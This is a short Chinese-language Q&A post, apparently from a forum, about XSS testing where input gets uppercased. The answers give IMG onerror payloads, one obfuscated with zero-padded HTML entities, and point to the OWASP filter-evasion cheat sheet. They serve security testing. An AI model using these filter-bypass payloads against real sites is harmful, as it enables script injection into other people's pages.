如何使用跨站点脚本（XSS）进行测试

Question

跨站点脚本（XSS）当我在输入框中使用alert标签时，它在源代码中转换为大写

Answer 1

请将重定向重定向到https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

<IMG SRC=X ONERROR="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Answer 2

IMG SRC=X ONERROR="javascript:alert('XSS')"